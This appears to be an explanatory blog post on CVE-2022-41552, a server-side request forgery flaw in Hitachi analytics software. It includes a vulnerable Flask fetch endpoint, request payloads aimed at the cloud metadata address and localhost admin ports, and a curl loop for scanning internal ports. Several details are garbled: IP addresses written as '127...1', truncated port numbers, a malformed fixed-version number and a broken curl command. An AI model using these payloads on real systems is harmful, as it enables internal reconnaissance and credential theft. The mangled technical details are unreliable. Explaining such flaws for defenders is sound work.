In the world of enterprise IT, Hitachi is a widely recognized player, justifying trusted infrastructure in data centers across the globe. However, in late 2022, security researchers uncovered a worrying flaw: a Server-Side Request Forgery (SSRF) vulnerability labeled CVE-2022-41552. This bug affected key components of Hitachi’s monitoring and analytics suite on Linux, putting sensitive networks at significant risk.

This post will break down CVE-2022-41552 in plain American English, show how SSRF attacks work with code examples, and tell you what you can do to stay safe. Wherever possible, we’ll link to original references and keep things easy to follow.

Official Advisory

You can read Hitachi’s security notice here:  
- Hitachi Security Advisory (HSVD-HI-2022-011)

What is Server-Side Request Forgery (SSRF)?

A Server-Side Request Forgery (SSRF) vulnerability allows attackers to make arbitrary HTTP requests from the application server. If exploited, SSRF can cause the server to send requests to internal services (that are otherwise unreachable from the outside), potentially leaking sensitive data or even allowing more dangerous attacks.

Vulnerability Details

The vulnerable Hitachi applications allowed users (including attackers) to control a URL parameter used for requests that the server would execute. Hitachi’s software did not properly validate or restrict these URLs, which means attackers could trick the server into connecting to any internal or external service.

Suppose Hitachi’s dashboard has a feature to fetch diagnostic data from a specified URL

GET /api/fetch?url=http://trusted-data-source/something

An attacker changes the url parameter to point somewhere malicious or internal

GET /api/fetch?url=http://169.254.169.254/latest/meta-data

The server, running with high network privileges, fetches the attacker’s desired target and returns the result.

Let’s imagine a simplified Python Flask app vulnerable to SSRF (for illustration only)

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    r = requests.get(url)
    return r.content

# In production, the above code is dangerous!

An attacker could now do

http://your-hitachi-server.com/fetch?url=http://localhost:808/admin


or:

http://your-hitachi-server.com/fetch?url=http://169.254.169.254/latest/meta-data/

The vulnerable Hitachi product had a similar flaw, permitting internal recon and even data theft from previously isolated resources.

What you need

- Low-privileged access to the Hitachi Analytics/Analyzer web interface

Attack steps

1. Identify a parameter that passes URLs or hostnames in web requests (e.g., diagnostic endpoints, test connections, report downloaders).

`

http://your-hitachi-server/api/endpoint?target=http://127...1:800/internal

Proof-of-Concept Exploit (for Educational Use Only)

Suppose you want to scan for open ports on the internal network using SSRF.

for port in $(seq 800 8005); do
  curl "http://vuln-hitachi/api/fetch?url=http://127...1:$port/"; -m 2
done


Monitor the responses—if you get different error codes (like 200 OK vs. timeout), the port is open!

*Update Ops Center Analyzer to version 10.9.-00 or later*

See the vendor’s advisory for patch links:  
Hitachi Security Bulletin - CVE-2022-41552

Block requests to internal IP addresses from the app server.

- Restrict outbound connections on firewalls/network level.

Final Words

CVE-2022-41552 is a reminder: SSRF is still one of the most underestimated attack vectors, especially in complex enterprise infrastructure. If you’re running Hitachi Analytics or Analyzer software, patch ASAP—these attacks can lead to a full internal compromise!

- CVE-2022-41552 NVD Entry
- Hitachi Official Advisory
- OWASP SSRF Prevention Guideline

Timeline

Published on: 11/01/2022 03:15:00 UTC
Last modified on: 03/01/2023 15:43:00 UTC